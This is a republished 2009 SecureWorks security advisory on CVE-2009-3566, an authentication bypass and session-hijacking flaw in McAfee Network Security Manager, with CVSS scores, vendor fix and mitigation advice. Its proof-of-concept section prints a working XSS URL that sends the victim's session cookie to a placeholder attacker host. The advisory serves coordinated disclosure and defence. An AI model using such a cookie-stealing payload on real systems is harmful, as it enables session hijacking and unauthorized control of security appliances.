McAfee Network Security Manager Auth Bypass and Session Hijacking

Credit: ctu
Risk: High
Local: No
Remote: Yes

Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 SecureWorks Security Advisory SWRX-2009-002 McAfee Network Security Manager Authentication Bypass and Session Hijacking Vulnerability Advisory Information Title: McAfee Network Security Manager Authentication Bypass and Session Hijacking Vulnerability Advisory ID: SWRX-2009-002 Advisory URL: Date published: Wednesday, November 11, 2009 CVE: CVE-2009-3566 CVSS v2 Base Score: 4.3 (Medium) (AV:N/AC:M/Au:N/C:P/I:N/A:N) Date of last update: Wednesday, November 11, 2009 Vendors contacted: McAfee, Inc. Release mode: Coordinated release Discovered by: Daniel King, SecureWorks Summary McAfee Network Security Manager is vulnerable to authentication bypass via HTTP session cookie hijacking. A remote attacker could exploit this vulnerability to hijack an existing session to the Network Security Manager. Affected Products McAfee Network Security Manager (NSM), version (default configuration). It is unknown which other versions, if any, are affected as of November 11, 2009. Vendor Information, Solutions and Workarounds McAfee has provided a new release to address this security flaw. Upgrade NSM software to NSM or above, available for McAfee NSM clients at: More information is available from McAfee at: McAfee Security Bulletin SB10005 Intrushield NSM update fixes Session Hijacking flaw Follow best practices of placing the security management console on a segregated management network. Apply restrictive, default-deny firewall policies to protect these assets from access by unauthorized users. Do not perform administrative access of security management consoles from computers exposed to the Internet through web browsing, email, and other applications. Lock down and heavily monitor systems used to perform administrative tasks such as accessing security management consoles. Details When a user loads the login page of the Network Security Manager, the server sets a cookie within the browser before authentication occurs. This cookie is accessible from client-side JavaScript because the ?HttpOnly? flag is not set. An attacker with access to this cookie may gain privileged access to the Network Security Manager without the need to authenticate. SecureWorks Risk Scoring Likelihood: 2 ? Best practice is to deploy the management console web application on a segmented management network. Impact: 5 ? Control over security appliances managed by the management console. CVSS Severity (version 2.0) Access Vector: Network exploitable; Victim must voluntarily interact with attack mechanism Access Complexity: Medium Authentication: Not required to exploit Impact Type: Allows unauthorized modification Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Subscore: 2.9 Exploitability Subscore: 8.6 CVSS v2 Base Score: 4.3 (Medium) (AV:N/AC:M/Au:N/C:P/I:N/A:N) Proof of Concept The following demonstrates theft of the session identifier. A cross-site scripting vulnerability is leveraged to steal the cookie data. Example URL used in cookie theft: https://x.x.x.x/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&nod e=&iaction=precreatefcb14%22%3E%3Cscript%3Enew%20Image().src=%22http://x .x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b 3283a1e57 Because the ?HttpOnly? flag is not set on the cookie, the cookie data is available from client-side JavaScript. The URL above injects a JavaScript image object within an XSS attack. The src method is then invoked on the Image object, and the URL passed to the object contains a URI-encoded version of the cookie data. This will cause the victim?s browser to connect to the URL and attempt to fetch this image. Since the image does not exist, nothing will display on the victim?s browser. The attacker?s web server access logs will contain the victim?s cookie data, including the session identifier. Using the victim?s session identifier, the attacker can send a specially-crafted HTTP request to the server that will result in an authentication bypass. Revision History 1.0 November 11, 2009 ? Initial advisory release PGP Keys This advisory has been signed with the PGP key of the SecureWorks Counter Threat Unit(SM), which is available for download at About the SecureWorks Counter Threat Unit(SM) Our expert team of threat researchers, also known as the SecureWorks Counter Threat Unit(SM), identifies and analyzes emerging threats and develops countermeasures, correlations and SOC processes to protect clients' critical information assets. The CTU frequently serves as an expert resource for the media, publishes technical analyses for the security community and speaks about emerging threats at security conferences. Leveraging our security technologies and a network of industry contacts, the CTU tracks leading hackers and analyzes anomalous activity, uncovering new attack techniques and threats. This process enables the CTU to identify threats as they emerge and develop countermeasures that protect our clients before damage occurs. About SecureWorks With over 2000 clients, SecureWorks has become one of the leading Security as a Service providers safeguarding more organizations 24x7 than any other vendor. SecureWorks focuses exclusively on information security services and was recently positioned in the Leader's Quadrant in Gartner's Magic Quadrant for Managed Security Services Providers (MSSPs). SecureWorks Security Information and Event Management (SIEM) platform augmented with applied security research and 100% GIAC-certified experts protects clients with our award-winning Managed Security Services and SIM On-Demand solution. Disclaimer Copyright ? 2009 SecureWorks, Inc. This advisory may not be edited or modified in any way without the express written consent of SecureWorks, Inc. If you wish to reprint this advisory or any portion or element thereof, please contact ctu (at) secureworks (dot) com [email concealed] to seek permission. Permission is hereby granted to link to this advisory via the SecureWorks website at or use in accordance with the fair use doctrine of U.S. copyright laws. The information within this advisory may change without notice. The most recent version of this advisory may be found on the SecureWorks web site at for a limited period of time. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. ANY USE OF THIS INFORMATION IS AT THE USER'S RISK. In no event shall SecureWorks be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) - WinPT 1.2.0 iQEcBAEBCAAGBQJK+zBmAAoJEK0ZvYFWLue85jsH/jSSYMdfGaBY5haEsaa8j5LJ Ox7C7qzdh5wnLrxhULje+7lgJAW+V4zRZk5Iy2F0PVjGfd3V4N2bP6MJYCwcgwua UxeAjtK8YTpclEDFxsVdNf+oYVK3sfjTBuRMCCn+HUy97F1OGgGEknncxKqe0K5Z KQGxEEg3vnINogZ0HR1QrG8Swj4ZmEmAoG9yDBxmkphTMmDcIJQ+rIzrqHqEMmdJ yFwhdId7pgACLab0U4sS2bYGzbQI/t1fU9G+uhE4k64XNwmrYfniUa6rBi1Lj2AD 5qGN4543XNkOHhzfeDbdV3jIIv9SBZ4GdW4NledRPJONZHIztz8Rta6udubVxi4= =vtXj -----END PGP SIGNATURE-----


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